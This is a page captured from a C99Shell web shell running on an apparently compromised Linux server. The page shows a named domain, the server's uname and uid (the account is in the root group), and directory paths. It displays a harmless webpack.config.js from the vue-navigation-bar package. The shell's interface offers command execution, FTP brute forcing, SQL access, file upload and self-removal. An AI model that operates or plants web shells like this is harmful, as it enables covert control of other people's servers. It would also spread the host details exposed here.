!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/vue-navigation-bar/   drwxr-xr-x
Free 28.25 GB of 117.98 GB (23.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     webpack.config.js (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const path = require("path");
const HtmlWebpackPlugin = require("html-webpack-plugin");
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const OptimizeCSSAssetsPlugin = require("optimize-css-assets-webpack-plugin");
const TerserPlugin = require("terser-webpack-plugin");
const CopyWebpackPlugin = require("copy-webpack-plugin");
const { CleanWebpackPlugin } = require("clean-webpack-plugin");
const env = process.env.NODE_ENV || "development";

const VueLoaderPlugin = require("vue-loader/lib/plugin");

const config = {
  entry: [path.resolve(__dirname, "example", "main.js")],
  output: {
    path: path.resolve(__dirname, "./docs"),
    publicPath: process.env.NODE_ENV === "development" ? "/" : "./",
    filename:
      env === "development" ? "[name].[hash].js" : "[name].[contenthash].js"
  },
  optimization: {
    splitChunks: {
      cacheGroups: {
        shared: {
          test: /[\\/]node_modules[\\/]/,
          name: "vendor",
          enforce: true,
          chunks: "all"
        }
      }
    },
    minimizer:
      env === "development"
        ? [new OptimizeCSSAssetsPlugin(), new TerserPlugin()]
        : undefined
  },
  mode: env,
  devtool: env === "development" ? "cheap-module-eval-source-map" : undefined,
  devServer: {
    historyApiFallback: true
  },
  module: {
    rules: [
      {
        test: /\.vue$/,
        loader: "vue-loader"
      },
      {
        test: /\.m?js$/,
        exclude: /(node_modules)/,
        use: {
          loader: "babel-loader",
          options: {
            presets: ["@babel/preset-env"]
          }
        }
      },
      {
        test: /\.(scss|css)$/,
        use: [
          // For hot reload in dev https://github.com/webpack-contrib/mini-css-extract-plugin/issues/34
          env === "development" ? "style-loader" : MiniCssExtractPlugin.loader,
          "css-loader",
          "sass-loader"
        ]
      },
      {
        test: /\.(png|jpg|gif|otf|svg)$/,
        use: [
          {
            loader: "file-loader",
            options: {
              // https://github.com/vuejs/vue-loader/issues/1612#issuecomment-614542603
              esModule: false
            }
          }
        ]
      }
    ]
  },
  plugins: [
    new CleanWebpackPlugin({
      cleanOnceBeforeBuildPatterns: ["docs"]
    }),
    new VueLoaderPlugin(),
    new HtmlWebpackPlugin({
      title: "vue-navigation-bar",
      template: path.resolve(__dirname, "example", "index.html"),
      inject: true,
      minify:
        env === "development"
          ? undefined
          : {
              removeComments: true,
              collapseWhitespace: true,
              removeAttributeQuotes: true
            }
    }),
    new MiniCssExtractPlugin({
      filename: env === "development" ? "[name].css" : "[name].[hash].css",
      chunkFilename: env === "development" ? "[id].css" : "[id].[hash].css"
    }),
    new CopyWebpackPlugin({
      patterns: [
        {
          from: path.resolve(
            __dirname,
            "src",
            "assets",
            "images",
            "favicon.png"
          ),
          to: "./favicon.png"
        }
      ]
    })
  ],
  resolve: {
    extensions: [".js", ".json"],
    alias: {
      "@": path.resolve(__dirname, "example")
    }
  }
};

module.exports = config;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]--